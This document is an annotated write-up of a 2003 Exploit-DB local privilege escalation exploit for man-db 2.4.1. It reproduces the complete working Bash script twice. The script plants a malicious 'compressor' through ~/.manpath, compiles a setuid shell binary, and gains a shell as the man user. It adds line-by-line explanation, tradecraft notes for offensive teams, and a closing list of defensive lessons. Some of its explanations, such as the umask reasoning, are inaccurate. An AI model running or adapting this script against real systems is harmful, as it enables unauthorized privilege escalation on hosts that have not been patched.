Exploiting man-db 2.4.1 'open_cat_stream()' for Local Privilege Escalation

Exploiting man-db 2.4.1 'open_cat_stream()' for Local Privilege Escalation
What this paper is
This paper details a local privilege escalation vulnerability in the man-db package, specifically version 2.4.1. The vulnerability allows a local user to gain privileges of the man user by manipulating how man-db handles compressed manual pages. The exploit leverages the open_cat_stream() function, which, due to a failure to drop privileges, executes a user-defined "compressor" binary with elevated privileges.
Simple technical breakdown
The man-db utility, when processing manual pages, can use external programs to decompress them. The open_cat_stream() function in man-db is responsible for opening these streams. In version 2.4.1, this function would execute a configured "compressor" program without dropping its own privileges (which are often those of the man user).
The exploit works by:
- Creating a fake directory structure that
man-dbwill use. - Creating two C source files:
runme.c: This program, when compiled and executed, will compile another C program (mansh.c) and set the SUID bit on the resulting executable (mansh).mansh.c: This program simply executes/bin/sh.
- Compiling
runme.cinto an executable namedrunme. - Configuring
man-dbto use/tmp/runmeas its "compressor" by creating a~/.manpathfile. - Triggering
man-dbto process a non-existent manual page, which causes it to callopen_cat_stream()and execute the configured compressor (/tmp/runme). - The
runmeprogram then compilesmansh.cand sets the SUID bit on/tmp/mansh. - Finally, the exploit attempts to execute
/tmp/mansh, which, because it has the SUID bit set and is owned byman, will grant the attacker a shell as themanuser.
Complete code and payload walkthrough
The provided exploit is a Bash script (xmandb.sh) that orchestrates the attack.
#!/bin/bash
# xmandb.sh: shell command file.
#
# man-db[v2.4.1-]: local uid=man exploit.
# by: vade79/v9 v9 fakehalo deadpig org (fakehalo)
#
# open_cat_stream() privileged call exploit.
#
# i've been conversing with the new man-db maintainer, and after the
# initial post sent to bugtraq(which i forgot to inform him), i sent him
# an email highlighting another vulnerability i forgot to mention in the
# original advisory.
#
# once he checked it out, he noticed that the routine never dropped
# privileges before/after the potential buffer/elemental overflow occured,
# and executed the (user defined) "compressor" binary. making it
# pointless to exploit this via the overflow method, and all-purpose to
# exploit this via the privileged execve() call method.
#
# best of luck to the new maintainer(Colin Watson<cjwatson debian org>),
# he noticed it before i did, so he's on the right track. :)
#
# example:
# [v9@localhost v9]$ id
# uid=500(v9) gid=500(v9) groups=500(v9)
# [v9@localhost v9]$ ./xmandb.sh
# [*] making fake manpage directories/files...
# [*] making runme, and mansh source files...
# [*] compiling runme source...
# [*] setting "compressor" to: /tmp/runme...
# [*] executing man-db/man...
# [*] cleaning up files...
# [*] success, entering shell.
# -rws--x--- 1 man v9 13963 Jun 13 20:09 /tmp/mansh
# sh-2.04$ id
# uid=15(man) gid=500(v9) groups=500(v9)
# sh-2.04$
#
# (tested on redhat7.1, from src, should work out of the box everywhere)
MANBIN=/usr/bin/man
MANDIR=man_x
TMPDIR=/tmp
echo "man-db[v2.4.1-]: local uid=man exploit."
echo -e "by: vade79/v9 v9 fakehalo deadpig org (fakehalo)\n"
if [ ! "`$MANBIN -V 2>/dev/null`" ]
then
echo "[!] \"$MANBIN\" does not appear to be man-db, failed."
exit
fi
umask 002
cd $TMPDIR
echo "[*] making fake manpage directories/files..."
mkdir $MANDIR ${MANDIR}/man1 ${MANDIR}/cat1
touch ${MANDIR}/man1/x.1
echo "[*] making runme, and mansh source files..."
cat <<EOF>runme.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main(int argc,char **argv){
setreuid(geteuid(),geteuid());
system("cc ${TMPDIR}/mansh.c -o ${TMPDIR}/mansh");
chmod("${TMPDIR}/mansh",S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
unlink(argv[0]);
exit(0);
}
EOF
cat <<EOF>mansh.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
setreuid(geteuid(),geteuid());
execl("/bin/sh","sh",0);
exit(0);
}
EOF
echo "[*] compiling runme source..."
cc runme.c -o runme
echo "[*] setting \"compressor\" to: ${TMPDIR}/runme..."
echo "DEFINE compressor ${TMPDIR}/runme">~/.manpath
echo "[*] executing man-db/man..."
$MANBIN -M ${TMPDIR}/$MANDIR -P /bin/true x 1>/dev/null 2>&1
echo "[*] cleaning up files..."
rm -rf $MANDIR mansh.c runme.c runme ~/.manpath
if test -u "${TMPDIR}/mansh"
then
echo "[*] success, entering shell."
ls -l ${TMPDIR}/mansh
${TMPDIR}/mansh
else
echo "[!] exploit failed."
rm -rf ${TMPDIR}/mansh
fi
exit
// milw0rm.com [2003-08-06]| Code Fragment/Block | Practical Purpose |
|---|---|
#!/bin/bash |
Shebang line, indicating the script should be executed with Bash. |
MANBIN=/usr/bin/man |
Defines the path to the man executable. |
MANDIR=man_x |
Defines a name for the temporary man directory. |
TMPDIR=/tmp |
Defines the temporary directory for staging files. |
echo "man-db[v2.4.1-]: local uid=man exploit." |
Prints an informational header. |
echo -e "by: vade79/v9 v9 fakehalo deadpig org (fakehalo)\n" |
Prints author information. |
if [ ! "$MANBIN -V 2>/dev/null" ] ... exit |
Checks if the specified MANBIN is actually man-db by trying to get its version. If not, it exits. |
umask 002 |
Sets the file mode creation mask to 002. This ensures that newly created files and directories have read, write, and execute permissions for the owner, and read and execute permissions for the group and others. This is important for the SUID bit to be effective later. |
cd $TMPDIR |
Changes the current directory to /tmp to stage all exploit artifacts. |
echo "[*] making fake manpage directories/files..." |
Informational message. |
mkdir $MANDIR ${MANDIR}/man1 ${MANDIR}/cat1 |
Creates a fake directory structure (/tmp/man_x, /tmp/man_x/man1, /tmp/man_x/cat1) that man-db might traverse. |
touch ${MANDIR}/man1/x.1 |
Creates a dummy man page file (/tmp/man_x/man1/x.1). This is a placeholder that man-db will attempt to process. |
echo "[*] making runme, and mansh source files..." |
Informational message. |
runme.c Source Code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main(int argc,char **argv){
setreuid(geteuid(),geteuid());
system("cc ${TMPDIR}/mansh.c -o ${TMPDIR}/mansh");
chmod("${TMPDIR}/mansh",S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
unlink(argv[0]);
exit(0);
}setreuid(geteuid(),geteuid());: This function call attempts to set the real, effective, and saved set-user-ID to the current effective user ID. In this context, it's likely intended to ensure the program runs with the privileges it was invoked with, though it doesn't grant elevated privileges itself.system("cc ${TMPDIR}/mansh.c -o ${TMPDIR}/mansh");: This is the core ofrunme.c. It executes a shell command to compile themansh.csource file using thecccompiler, creating an executable file namedmanshin the/tmpdirectory.chmod("${TMPDIR}/mansh",S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);: This command sets the permissions on the newly compiledmanshexecutable.S_ISUID: Sets the Set-User-ID bit. This is crucial for privilege escalation. Whenmanshis executed, it will run with the privileges of its owner, which is intended to be themanuser.S_IRUSR|S_IWUSR|S_IXUSR: Grants read, write, and execute permissions to the owner.S_IXGRP: Grants execute permission to the group.
unlink(argv[0]);: Deletes the executable file ofrunmeitself from the filesystem.argv[0]typically contains the path to the program being executed.exit(0);: Exits the program successfully.
mansh.c Source Code:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
setreuid(geteuid(),geteuid());
execl("/bin/sh","sh",0);
exit(0);
}setreuid(geteuid(),geteuid());: Similar torunme.c, this attempts to set the real, effective, and saved set-user-ID to the current effective user ID.execl("/bin/sh","sh",0);: This is the command that starts a new shell.execlreplaces the current process image with a new one. It attempts to execute/bin/sh, passing"sh"as the first argument (the program name) and0as the null-terminated list of arguments. This effectively launches an interactive shell.exit(0);: Exits the program ifexeclfails (which is unlikely).
Script Execution Flow (continued):cat <<EOF>runme.c ... EOF | Creates the runme.c source file in /tmp.cat <<EOF>mansh.c ... EOF | Creates the mansh.c source file in /tmp.echo "[*] compiling runme source..." | Informational message.cc runme.c -o runme | Compiles runme.c into an executable named runme in /tmp.echo "[*] setting \"compressor\" to: ${TMPDIR}/runme..." | Informational message.echo "DEFINE compressor ${TMPDIR}/runme">~/.manpath | This is a critical step. It creates or modifies the user's ~/.manpath file. man-db reads this file to configure its behavior, including the path to compressor programs. By setting DEFINE compressor to /tmp/runme, the exploit tells man-db to use our malicious runme executable as the compressor.echo "[*] executing man-db/man..." | Informational message.$MANBIN -M ${TMPDIR}/$MANDIR -P /bin/true x 1>/dev/null 2>&1 | This is the trigger.
* $MANBIN: Calls the man command.
* -M ${TMPDIR}/$MANDIR: Tells man-db to look for manual pages in our fake directory structure (/tmp/man_x).
* -P /bin/true: This option is used to specify a "pager". By setting it to /bin/true, we ensure that man-db doesn't try to use a real pager, which could interfere. More importantly, the man command will attempt to process the manual page x in section 1. When man-db tries to open the compressed stream for x.1 (or a similar file), it will invoke the configured compressor.
* x: The manual page name to look for.
* 1>/dev/null 2>&1: Redirects standard output and standard error to /dev/null to keep the exploit quiet.echo "[*] cleaning up files..." | Informational message.rm -rf $MANDIR mansh.c runme.c runme ~/.manpath | Removes most of the temporary files and the ~/.manpath configuration. This is a cleanup step.if test -u "${TMPDIR}/mansh" | Checks if the mansh file in /tmp has the SUID bit set (-u).then | If the SUID bit is set:echo "[*] success, entering shell." | Informational message.ls -l ${TMPDIR}/mansh | Displays the details of the SUID executable, confirming its ownership and permissions.${TMPDIR}/mansh | Executes the mansh program, which should now run as the man user and drop a shell.else | If the SUID bit is not set:echo "[!] exploit failed." | Informational message.rm -rf ${TMPDIR}/mansh | Removes the mansh executable if the exploit failed to set the SUID bit correctly.fi | End of the if statement.exit | Exits the script.
Practical details for offensive operations teams
- Required Access Level: Local user access to the target system. No elevated privileges are required initially.
- Lab Preconditions:
- A Linux system with
man-dbversion 2.4.1 or a vulnerable version installed. - A C compiler (
cc) must be available on the target system to compilerunme.candmansh.c. - The
mancommand must be executable by the user. - The user must have write permissions in
/tmpand the ability to create/modify~/.manpath.
- A Linux system with
- Tooling Assumptions:
- Standard Linux command-line utilities (
bash,mkdir,touch,cc,chmod,rm,ls,id,man). - The exploit script itself (
xmandb.sh).
- Standard Linux command-line utilities (
- Execution Pitfalls:
- Compiler Availability: If
ccis not installed or not in the user's PATH, the exploit will fail during the compilation steps. man-dbVersion: The exploit is specific to vulnerable versions ofman-db. If a patched version is present, it will not work. The script includes a basic check for themancommand but not a version check.- Permissions: If the user lacks write permissions in
/tmpor cannot create/modify~/.manpath, the exploit will fail. - SELinux/AppArmor: Security mechanisms like SELinux or AppArmor might prevent the
runmeprogram from compilingmansh.cor setting the SUID bit on/tmp/mansh, or prevent the final execution of/tmp/mansh. manCommand Path: The script assumes/usr/bin/man. If it's located elsewhere,MANBINneeds to be adjusted.- Race Conditions/Cleanup: While unlikely to be a major issue for this specific exploit, in complex scenarios, aggressive cleanup or timing issues could lead to failure. The script's cleanup is robust.
~/.manpathLocation: The exploit relies onman-dbrespecting~/.manpath. Some configurations might prioritize system-wide manpath settings.
- Compiler Availability: If
- Tradecraft Considerations:
- Stealth: The exploit uses standard tools and writes to
/tmp, which is often monitored. The output is redirected to/dev/nullduring themancommand execution, but the initial script output is visible. Cleanup is performed. - Persistence: This exploit provides a shell, not persistent access. A subsequent step would be needed to establish persistence.
- Lateral Movement: This is a local privilege escalation, not a network exploit. It requires initial access to the compromised host.
- Telemetry:
- Creation of directories and files in
/tmp(man_x,runme.c,mansh.c,runme,mansh). - Execution of
cc(compiler activity). - Execution of
mancommand with specific arguments (-M,-P). - Modification of
~/.manpath. - Execution of
/tmp/manshwith SUID bit set. - Process execution of
/bin/shby themanuser. chmodoperations on/tmp/manshto set SUID.rmoperations for cleanup.
- Creation of directories and files in
- Stealth: The exploit uses standard tools and writes to
Where this was used and when
- Publication Date: August 6, 2003.
- Context: This exploit was published on milw0rm.com and likely discussed on security mailing lists like Bugtraq. It targeted a specific vulnerability in
man-dbversion 2.4.1. - Usage: Such exploits are typically used by security researchers to demonstrate vulnerabilities and by attackers to gain elevated privileges on systems running vulnerable software. Given the age, it's unlikely to be a zero-day in widespread use today, but it represents a class of vulnerability that was common in older software. It was tested on Red Hat 7.1.
Defensive lessons for modern teams
- Privilege Dropping: Always ensure that privileged operations are performed with the minimum necessary privileges. Functions that execute external commands (like
open_cat_streamin this case) must drop privileges before executing untrusted input or external programs. - Input Validation and Sanitization: While this exploit doesn't directly rely on buffer overflows, the underlying vulnerability might have been related to how external programs were configured or invoked. Robust validation of configuration parameters and user-controlled inputs is crucial.
- Secure Defaults: Software should not rely on user-configurable paths for critical operations that could lead to privilege escalation. Default configurations should be secure.
- Patch Management: Keeping software, including system utilities like
man-db, updated is paramount. Vulnerabilities are discovered and patched, and running outdated software exposes systems to known risks. - Least Privilege: The
manuser should ideally have limited privileges. Ifman-dbwere running as a less privileged user, or if its ability to execute arbitrary commands was restricted, this exploit would be less effective. - Filesystem Monitoring: Monitoring
/tmpfor suspicious file creation, especially executables with the SUID bit set, can be an indicator of compromise. - Compiler Restrictions: In highly secured environments, restricting the availability of compilers (
cc,gcc) on production systems can prevent attackers from compiling malicious code.
ASCII visual (if applicable)
+-----------------+ +-----------------+ +-----------------+
| Attacker (Local)| ----> | Target System | ----> | man-db (v2.4.1)|
| (User A) | | (User A) | | (Runs as 'man') |
+-----------------+ +-----------------+ +-----------------+
| |
| 1. Creates fake man dirs/files | 3. Invokes 'compressor'
| (e.g., /tmp/man_x) | (our /tmp/runme)
| 2. Creates runme.c, mansh.c, compiles runme | (as 'man' user)
| (e.g., /tmp/runme) |
| 3. Sets ~/.manpath to point to /tmp/runme |
| 4. Executes 'man -M /tmp/man_x ...' |
| |
| | 4. /tmp/runme executes:
| | - Compiles mansh.c
| | - chmod +s /tmp/mansh
| | - Exits
| |
| | 5. Attacker executes
| | /tmp/mansh
| | (runs as 'man' user)
+----------------------------------------------------->+-----------------+
| Shell as 'man' |
+-----------------+Source references
- Paper URL: https://www.exploit-db.com/papers/75
- Raw Exploit URL: https://www.exploit-db.com/raw/75
- Author: vade79
- Published: 2003-08-06
- Keywords: Linux, local
Original Exploit-DB Content (Verbatim)
#!/bin/bash
# xmandb.sh: shell command file.
#
# man-db[v2.4.1-]: local uid=man exploit.
# by: vade79/v9 v9 fakehalo deadpig org (fakehalo)
#
# open_cat_stream() privileged call exploit.
#
# i've been conversing with the new man-db maintainer, and after the
# initial post sent to bugtraq(which i forgot to inform him), i sent him
# an email highlighting another vulnerability i forgot to mention in the
# original advisory.
#
# once he checked it out, he noticed that the routine never dropped
# privileges before/after the potential buffer/elemental overflow occured,
# and executed the (user defined) "compressor" binary. making it
# pointless to exploit this via the overflow method, and all-purpose to
# exploit this via the privileged execve() call method.
#
# best of luck to the new maintainer(Colin Watson<cjwatson debian org>),
# he noticed it before i did, so he's on the right track. :)
#
# example:
# [v9@localhost v9]$ id
# uid=500(v9) gid=500(v9) groups=500(v9)
# [v9@localhost v9]$ ./xmandb.sh
# [*] making fake manpage directories/files...
# [*] making runme, and mansh source files...
# [*] compiling runme source...
# [*] setting "compressor" to: /tmp/runme...
# [*] executing man-db/man...
# [*] cleaning up files...
# [*] success, entering shell.
# -rws--x--- 1 man v9 13963 Jun 13 20:09 /tmp/mansh
# sh-2.04$ id
# uid=15(man) gid=500(v9) groups=500(v9)
# sh-2.04$
#
# (tested on redhat7.1, from src, should work out of the box everywhere)
MANBIN=/usr/bin/man
MANDIR=man_x
TMPDIR=/tmp
echo "man-db[v2.4.1-]: local uid=man exploit."
echo -e "by: vade79/v9 v9 fakehalo deadpig org (fakehalo)\n"
if [ ! "`$MANBIN -V 2>/dev/null`" ]
then
echo "[!] \"$MANBIN\" does not appear to be man-db, failed."
exit
fi
umask 002
cd $TMPDIR
echo "[*] making fake manpage directories/files..."
mkdir $MANDIR ${MANDIR}/man1 ${MANDIR}/cat1
touch ${MANDIR}/man1/x.1
echo "[*] making runme, and mansh source files..."
cat <<EOF>runme.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
int main(int argc,char **argv){
setreuid(geteuid(),geteuid());
system("cc ${TMPDIR}/mansh.c -o ${TMPDIR}/mansh");
chmod("${TMPDIR}/mansh",S_ISUID|S_IRUSR|S_IWUSR|S_IXUSR|S_IXGRP);
unlink(argv[0]);
exit(0);
}
EOF
cat <<EOF>mansh.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
setreuid(geteuid(),geteuid());
execl("/bin/sh","sh",0);
exit(0);
}
EOF
echo "[*] compiling runme source..."
cc runme.c -o runme
echo "[*] setting \"compressor\" to: ${TMPDIR}/runme..."
echo "DEFINE compressor ${TMPDIR}/runme">~/.manpath
echo "[*] executing man-db/man..."
$MANBIN -M ${TMPDIR}/$MANDIR -P /bin/true x 1>/dev/null 2>&1
echo "[*] cleaning up files..."
rm -rf $MANDIR mansh.c runme.c runme ~/.manpath
if test -u "${TMPDIR}/mansh"
then
echo "[*] success, entering shell."
ls -l ${TMPDIR}/mansh
${TMPDIR}/mansh
else
echo "[!] exploit failed."
rm -rf ${TMPDIR}/mansh
fi
exit
// milw0rm.com [2003-08-06]